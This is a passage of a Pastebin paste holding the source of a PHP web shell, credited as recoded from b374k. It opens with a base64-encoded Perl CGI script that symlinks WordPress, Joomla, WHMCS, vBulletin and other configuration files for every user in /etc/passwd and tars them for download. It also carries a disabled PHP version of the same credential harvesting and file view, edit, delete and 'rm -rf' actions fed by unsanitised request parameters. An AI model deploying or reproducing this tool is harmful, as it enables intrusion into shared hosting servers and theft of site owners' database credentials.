ibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGhhaGFnYXkuJy13cDEzLXdwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dQL3dwLWNvbmZpZy5waHAnLCRoYWhhZ2F5Lictd3AxMy1XUC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCRoYWhhZ2F5Lictd3AxMy13cC1iZXRhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJGhhaGFnYXkuJy13cDEzLWJldGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsJGhhaGFnYXkuJy13cDEzLXByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywkaGFoYWdheS4nLXdwMTMtd29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywkaGFoYWdheS4nLXdwMTMtV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy9iZXRhL3dwLWNvbmZpZy5waHAnLCRoYWhhZ2F5Lictd3AxMy13b3JkcHJlc3MtYmV0YS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXdzL3dwLWNvbmZpZy5waHAnLCRoYWhhZ2F5Lictd3AxMy1uZXdzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy93cC1jb25maWcucGhwJywkaGFoYWdheS4nLXdwMTMtbmV3LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGhhaGFnYXkuJy13cC1ibG9nLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJGhhaGFnYXkuJy13cC1iZXRhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCRoYWhhZ2F5Lictd3AtYmxvZ3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywkaGFoYWdheS4nLXdwLWhvbWUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL3dwLWNvbmZpZy5waHAnLCRoYWhhZ2F5Lictd3AtcHJvdGFsLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsJGhhaGFnYXkuJy13cC1zaXRlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGhhaGFnYXkuJy13cC1tYWluLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Rlc3Qvd3AtY29uZmlnLnBocCcsJGhhaGFnYXkuJy13cC10ZXN0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGhhaGFnYXkuJy02LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkaGFoYWdheS4nLTcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRoYWhhZ2F5LictOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGhhaGFnYXkuJy05LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGhhaGFnYXkuJy0xMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRoYWhhZ2F5Lictam9vbWxhMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvY29uZmlndXJhdGlvbi5waHAnLCRoYWhhZ2F5Lictam9vbWxhLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb28vY29uZmlndXJhdGlvbi5waHAnLCRoYWhhZ2F5Lictam9vLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Ntcy9jb25maWd1cmF0aW9uLnBocCcsJGhhaGFnYXkuJy1qb29tbGEtY21zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAnLCRoYWhhZ2F5Lictam9vbWxhLXNpdGUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGhhaGFnYXkuJy1qb29tbGEtbWFpbi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXdzL2NvbmZpZ3VyYXRpb24ucGhwJywkaGFoYWdheS4nLWpvb21sYS1uZXdzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy9jb25maWd1cmF0aW9uLnBocCcsJGhhaGFnYXkuJy1qb29tbGEtbmV3LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRoYWhhZ2F5Lictam9vbWxhLWhvbWUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGhhaGFnYXkuJy12Yi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGhhaGFnYXkuJy12YjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGhhaGFnYXkuJy1pbmNsdWRlcy12Yi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRoYWhhZ2F5Lictd2htMTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2VudHJhbC9jb25maWd1cmF0aW9uLnBocCcsJGhhaGFnYXkuJy13aG0tY2VudHJhbC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRoYWhhZ2F5Lictd2htLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9XSE1DUy9jb25maWd1cmF0aW9uLnBocCcsJGhhaGFnYXkuJy13aG0tV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9XSE0vY29uZmlndXJhdGlvbi5waHAnLCRoYWhhZ2F5Lictd2htYy1XSE0udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRoYWhhZ2F5Lictd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGhhaGFnYXkuJy1zdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHAvY29uZmlndXJhdGlvbi5waHAnLCRoYWhhZ2F5Lictc3VwcC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvY29uZmlndXJhdGlvbi5waHAnLCRoYWhhZ2F5Lictc3VjdXJlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NlY3VyZS93aG0vY29uZmlndXJhdGlvbi5waHAnLCRoYWhhZ2F5Lictc3VjdXJlLXdobS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRoYWhhZ2F5Lictc3VjdXJlLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NwYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGhhaGFnYXkuJy1jcGFuZWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRoYWhhZ2F5LictcGFuZWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGhhaGFnYXkuJy1ob3N0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRoYWhhZ2F5LictaG9zdGluZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0cy9jb25maWd1cmF0aW9uLnBocCcsJGhhaGFnYXkuJy1ob3N0cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGhhaGFnYXkuJy1qb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGhhaGFnYXkuJy13aG1jczIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGhhaGFnYXkuJy1jbGllbnRzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGhhaGFnYXkuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRoYWhhZ2F5LictY2xpZW50ZXMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCcsJGhhaGFnYXkuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50c3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGhhaGFnYXkuJy1jbGllbnRzdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRoYWhhZ2F5LictYmlsbGluZy50eHQnKTsgDQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywkaGFoYWdheS4nLXdobS1tYW5hZ2UudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL215L2NvbmZpZ3VyYXRpb24ucGhwJywkaGFoYWdheS4nLXdobS1teS50eHQnKTsgDQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywkaGFoYWdheS4nLXdobS1teXNob3AudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsJGhhaGFnYXkuJy16ZW5jYXJ0LnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC96ZW5jYXJ0L2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsJGhhaGFnYXkuJy1zaG9wLXplbmNhcnQudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkaGFoYWdheS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHAnLCRoYWhhZ2F5Lictc21mLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywkaGFoYWdheS4nLXNtZjIudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL1NldHRpbmdzLnBocCcsJGhhaGFnYXkuJy1zbWYtZm9ydW0udHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtcy9TZXR0aW5ncy5waHAnLCRoYWhhZ2F5Lictc21mLWZvcnVtcy50eHQnKTsgDQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRoYWhhZ2F5LictdXAudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3VwL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRoYWhhZ2F5LictdXAyLnR4dCcpOyANCn0NCmlmICgkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICdQT1NUJykgew0KICByZWFkKFNURElOLCAkYnVmZmVyLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCn0gZWxzZSB7DQogICRidWZmZXIgPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsNCn0NCkBwYWlycyA9IHNwbGl0KC8mLywgJGJ1ZmZlcik7DQpmb3JlYWNoICRwYWlyIChAcGFpcnMpIHsNCiAgKCRuYW1lLCAkdmFsdWUpID0gc3BsaXQoLz0vLCAkcGFpcik7DQogICRuYW1lID1+IHRyLysvIC87DQogICRuYW1lID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICR2YWx1ZSA9fiB0ci8rLyAvOw0KICAkdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCiAgJEZPUk17JG5hbWV9ID0gJHZhbHVlOw0KfQ0KaWYgKCRGT1JNe3Bhc3N9IGVxICIiKXsNCnByaW50ICcNCjxib2R5IGNsYXNzPSJkeiIgYmdjb2xvcj0iIzIyMzM0NCI+DQo8cD5HcmFiIGNvbmZpZ3MgaW4gc2VydmVyPC9wPg0KPHA+T25seSBwYXRoIGxpa2UgIi9ob21lL1VTRVIvcHVibGljX2h0bWwiIGNhbiBiZSBzeW1saW5rZWQ8L3A+DQo8c3Bhbj5QYXN0ZSB0aGUgPGZvbnQgY29sb3I9InJlZCIvPiIvZXRjL3Bhc3N3ZCI8L2ZvbnQ+IGNvbnRlbnQuPC9zcGFuPg0KPGJyIC8+PGZvcm0gbWV0aG9kPSJwb3N0Ij48c3Ryb25nPg0KPHRleHRhcmVhIGlkPSJjaGVja291dHRleHRhcmVhIiBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjJweCBzb2xpZCAjMDBGRjAwOyB3aWR0aDogIDU1NXB4OyBoZWlnaHQ6IDM3MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiNGRkZGRkY7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjlwdDsgY29sb3I6IGJsYWNrOyIgID48L3RleHRhcmVhPjxiciAvPg0KJm5ic3A7PHA+DQo8aW5wdXQgbmFtZT0idGFyIiB0eXBlPSJ0ZXh0IiBzdHlsZT0iYm9yZGVyOjJweCBzb2xpZCAjMDBGRjAwOyB3aWR0aDogMjEycHg7IGJhY2tncm91bmQtY29sb3I6I0ZGRkZGRjsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6OHB0OyBjb2xvcjpibGFjazsgIiAgLz48YnIgLz4NCiZuYnNwOzwvcD4NCjxwPg0KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkhlamVzIGl0dSBjb25maWciIHN0eWxlPSJib3JkZXI6MnB4IHNvbGlkICMwMEZGMDA7IHdpZHRoOiA5OTsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6MTBwdDsgY29sb3I6IGJsYWNrOyB0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7IGhlaWdodDoyMzsgYmFja2dyb3VuZC1jb2xvcjojRkZGRkZGOyIgLz48L3A+DQo8L2Zvcm0+PC9zdHJvbmc+DQonOw0KfWVsc2V7DQpAbGluZXMgPTwkRk9STXtwYXNzfT47DQokeSA9IEBsaW5lczsNCm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7DQpwcmludCBNWUZJTEUgInRhciAtY3pmICIuJEZPUk17dGFyfS4iLnRhciAiOw0KZm9yICgka2E9MDska2E8JHk7JGthKyspew0Kd2hpbGUoQGxpbmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7DQombGlsKCQxKTsNCnByaW50IE1ZRklMRSAkMS4iLnR4dCAiOw0KZm9yKCRrZD0xOyRrZDwxODska2QrKyl7DQpwcmludCBNWUZJTEUgJDEuJGtkLiIudHh0ICI7DQp9DQp9DQogfQ0KcHJpbnQnPGJvZHkgY2xhc3M9ImR6IiBiZ2NvbG9yPSIjMjIzMzQ0Ij4NCjxoMj5TdWNjZXNzIC4uICE8L2gyPg0KPHA+Q2xpY2sgPGEgaHJlZj0iLi8iIHRhcmdldD0iX0JMQU5LIi8+SEVSRTwvYT4gdG8gdmlldyBjb25maWdzPC9wPic7DQppZigkRk9STXt0YXJ9IG5lICIiKXsNCm9wZW4oSU5GTywgInRhci50bXAiKTsNCkBsaW5lcyA9PElORk8+IDsNCmNsb3NlKElORk8pOw0Kc3lzdGVtKEBsaW5lcyk7DQpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0uJy50YXIiPjxmb250IGNvbG9yPSIjMDBGRjAwIj4NCjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmUiPkNsaWNrIEhlcmUgVG8gRG93bmxvYWQgVGFyIEZpbGU8L3NwYW4+PC9mb250PjwvYT48L3A+JzsNCn0NCn0NCiBwcmludCINCjwvYm9keT4NCjwvaHRtbD4iOw==");
  756.                 chmod($cwd.".PHHM_files/sym/perl/config.hax", 0755);
  757.             }
  758.             echo "<form action=\"?cwd=&amp;action=sym_auto_perl\" method=\"post\">\n".
  759.                  "  <h1 class=\"cantik\">Config symlink &minus; PERL</h1>\n".
  760.                  "  <iframe src=\".PHHM_files/sym/perl/config.hax\" style=\"width: 100%; height: 100%;\" class=\"kotak\"></iframe>\n".
  761.                  "  <noframes>Your browser doesn't support frames, <a href=\".PHHM_files/sym/perl/config.hax\">Click here</a></noframes>\n".
  762.                  "</form>";
  763.         }
  764.  
  765.         elseif(isset($_GET['action']) && $_GET['action'] == "sym_auto_php"){
  766.         /*if(!is_file($cwd.".PHHM_files/sym/php/.htaccess")){
  767.         b64wrt($cwd.".PHHM_files/sym/php/.htaccess", "T3B0aW9ucyBhbGwNCkRpcmVjdG9yeUluZGV4IFN1eC5odG1sDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocA0KQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHANCkFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbA0KQWRkSGFuZGxlciB0eHQgLmh0bWwNClJlcXVpcmUgTm9uZQ0KU2F0aXNmeSBBbnk=");
  768.         }
  769.         $conflist = array("/public_html/includes/configure.php", "/public_html/os/includes/configure.php", "/public_html/oscom/includes/configure.php", "/public_html/oscommerce/includes/configure.php", "/public_html/oscommerces/includes/configure.php", "/public_html/shop/includes/configure.php", "/public_html/shopping/includes/configure.php", "/public_html/sale/includes/configure.php", "/public_html/amember/config.inc.php", "/public_html/config.inc.php", "/public_html/members/configuration.php", "/public_html/config.php", "/public_html/forum/includes/config.php", "/public_html/forums/includes/config.php", "/public_html/admin/conf.php", "/public_html/admin/config.php", "/public_html/wp-config.php", "/public_html/wp/wp-config.php", "/public_html/WP/wp-config.php", "/public_html/wp/beta/wp-config.php", "/public_html/beta/wp-config.php", "/public_html/press/wp-config.php", "/public_html/wordpress/wp-config.php", "/public_html/Wordpress/wp-config.php", "/public_html/wordpress/beta/wp-config.php", "/public_html/news/wp-config.php", "/public_html/new/wp-config.php", "/public_html/blog/wp-config.php", "/public_html/beta/wp-config.php", "/public_html/blogs/wp-config.php", "/public_html/home/wp-config.php", "/public_html/protal/wp-config.php", "/public_html/site/wp-config.php", "/public_html/main/wp-config.php", "/public_html/test/wp-config.php", "/public_html/conf_global.php", "/public_html/include/db.php", "/public_html/connect.php", "/public_html/mk_conf.php", "/public_html/include/config.php", "/public_html/joomla/configuration.php", "/public_html/protal/configuration.php", "/public_html/joo/configuration.php", "/public_html/cms/configuration.php", "/public_html/site/configuration.php", "/public_html/main/configuration.php", "/public_html/news/configuration.php", "/public_html/new/configuration.php", "/public_html/home/configuration.php", "/public_html/vb/includes/config.php", "/public_html/vb3/includes/config.php", "/public_html/includes/config.php", "/public_html/whm/configuration.php", "/public_html/central/configuration.php", "/public_html/whm/whmcs/configuration.php", "/public_html/whm/WHMCS/configuration.php", "/public_html/whmc/WHM/configuration.php", "/public_html/whmcs/configuration.php", "/public_html/support/configuration.php", "/public_html/supp/configuration.php", "/public_html/secure/configuration.php", "/public_html/secure/whm/configuration.php", "/public_html/secure/whmcs/configuration.php", "/public_html/cpanel/configuration.php", "/public_html/panel/configuration.php", "/public_html/host/configuration.php", "/public_html/hosting/configuration.php", "/public_html/hosts/configuration.php", "/public_html/configuration.php", "/public_html/submitticket.php", "/public_html/clients/configuration.php", "/public_html/client/configuration.php", "/public_html/clientes/configuration.php", "/public_html/cliente/configuration.php", "/public_html/clientsupport/configuration.php", "/public_html/billing/configuration.php", "/public_html/manage/configuration.php", "/public_html/my/configuration.php", "/public_html/myshop/configuration.php", "/public_html/includes/dist-configure.php", "/public_html/zencart/includes/dist-configure.php", "/public_html/shop/includes/dist-configure.php", "/public_html/Settings.php", "/public_html/smf/Settings.php", "/public_html/forum/Settings.php", "/public_html/forums/Settings.php", "/public_html/upload/includes/config.php", "/public_html/up/includes/config.php");
  770.         echo "<form action=\"?cwd=".$cwd."&amp;action=sym_auto_php\" method=\"post\">
  771.         <h1 class=\"cantik\">Config symlink &minus; PHP</h1>";
  772.  
  773.         if($win && !$posix){ echo "Running on a <b>Windows</b> b0x? Are you sure?"; exit; }
  774.         $getc = explode("\n", file_get_contents("/etc/passwd"));
  775.         foreach($getc as $row){
  776.         $exp = explode(":", $row);
  777.         $user = $exp[0];
  778.         $penuh = "/home/".$user;
  779.         $kaun = 0;
  780.         foreach($conflist as $eachcon){
  781.         if(is_file($penuh.$eachcon)){
  782.         if(symlink($penuh.$eachcon, $cwd.".PHHM_files/sym/php/".$user."---".$eachcon)){
  783.         echo "File available &lt;&lt; Pwned =&lt; ".$penuh.$eachcon." to ".$cwd.".PHHM_files/sym/php/".$user.$eachcon."<br />";
  784.         $kaun++;
  785.         }
  786.         }
  787.         }
  788.         return true;
  789.         }
  790.         if($kaun < 2){
  791.         echo $kaun." file pwned using this tool !!";
  792.         } elseif($kaun > 1){
  793.         echo $kaun." files pwned using this tool !!";
  794.         }
  795.         echo "</form>";*/
  796.             echo "This feature is currently disabled";
  797.         }
  798.  
  799.         elseif(isset($_GET['action']) && $_GET['action'] == "view"){
  800.             $file = $_GET['file'];
  801.             $buff = "<form action=\"?cwd=".$cwd."&amp;action=view;&amp;file=".$file."\" method=\"post\">\n";
  802.             $content = file_get_contents($file);
  803.             if(empty($file)){ $buff .= "GET Parameter \"file\" is empty <br /><br />"; }
  804.             if(is_file($file)){
  805.                 $buff .= "Viewing file <b><a href=\"?cwd=".$cwd."&amp;action=edit&amp;file=".str_replace(" ", "+", $file)."\" title=\"Edit File\">".$file."</a></b> - ".ukuran($file)." <br /><br />\n".
  806.                      "<div id=\"viewfile\">".nl2br(htmlspecialchars($content))."</div> <br /><br />";
  807.             } else { $buff .= "File (".$file.") does not exist<br /><br />"; }
  808.             $buff .= "</form>";
  809.             echo $buff;
  810.         }
  811.  
  812.         elseif(isset($_GET['action']) && $_GET['action'] == "edit"){
  813.             if( isset($_POST['submit']) ){
  814.                 $file = $_POST['saveas'];
  815.                 $content = magicboom($_POST['content']);
  816.                 if($filez = fopen($file,"w")){
  817.                     $time = @date("d-M-Y H:i",time());
  818.                     if(fwrite($filez,$content)) $msg = "file saved @ ".$time;
  819.                     else $msg = "failed to save"; fclose($filez);
  820.                 } else $msg = "permission denied";
  821.             }
  822.             if(!isset($file)) $file = $_GET['file'];
  823.             if($filez = @fopen($file,"r")){
  824.                 $content = "";
  825.                 while(!feof($filez)){ $content .= htmlentities(fgets($filez)); }
  826.                 fclose($filez);
  827.             }
  828.            
  829.             echo "<form action=\"?cwd=".$cwd."&amp;action=edit&amp;file=".$file."\" method=\"post\">\n".
  830.                  "  <textarea cols=\"100\" rows=\"25\" name=\"content\" class=\"kotak\">".$content."</textarea><br />\n".
  831.                  "  <input type=\"text\" name=\"saveas\" style=\"width: 50%;\" value=\"".$file."\" class=\"kotak\"/>\n".
  832.                  "  <input type=\"submit\" name=\"submit\" value=\"Save file\" class=\"kotak\">\n".
  833.                  "</form>";
  834.                  
  835.             if(isset($_POST['submit'])) echo $msg;
  836.         } else {
  837.             if(isset($_GET['action']) && $_GET['action'] == "del" && $_GET['file'] != ""){
  838.                 $file = $_GET['file'];
  839.                 @unlink($file);
  840.             }
  841.             if(isset($_GET['action']) && $_GET['action'] == "rmdir" && $_GET['folder'] != ""){
  842.                 if($win && !$posix){
  843.                     perintah("rmdir ".$_GET['folder']." /S /Q");
  844.                 } else {
  845.                     perintah("rm -rf ".$_GET['folder']);
  846.                 }
  847.             }
  848.             if(isset($_GET['action']) && $_GET['action'] == "mkdir" && $_GET['folder'] != ""){
  849.                 $path = $cwd.$_GET['folder'];
  850.                 @mkdir($path);
  851.             }
  852.             $buff = filemanager();
  853.             echo $buff;
  854.         }
  855.         ?>
  856.  
  857.         <!--<footer name="credit">
  858.         &minus; <b>re</b>coded by Cai@nhax - Based on b374k NEC v3 - #PHHM #GILA #HEMPAS #HEJES &minus;
  859.         </footer>-->
  860.  
  861.     </body>
  862.  
  863. </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!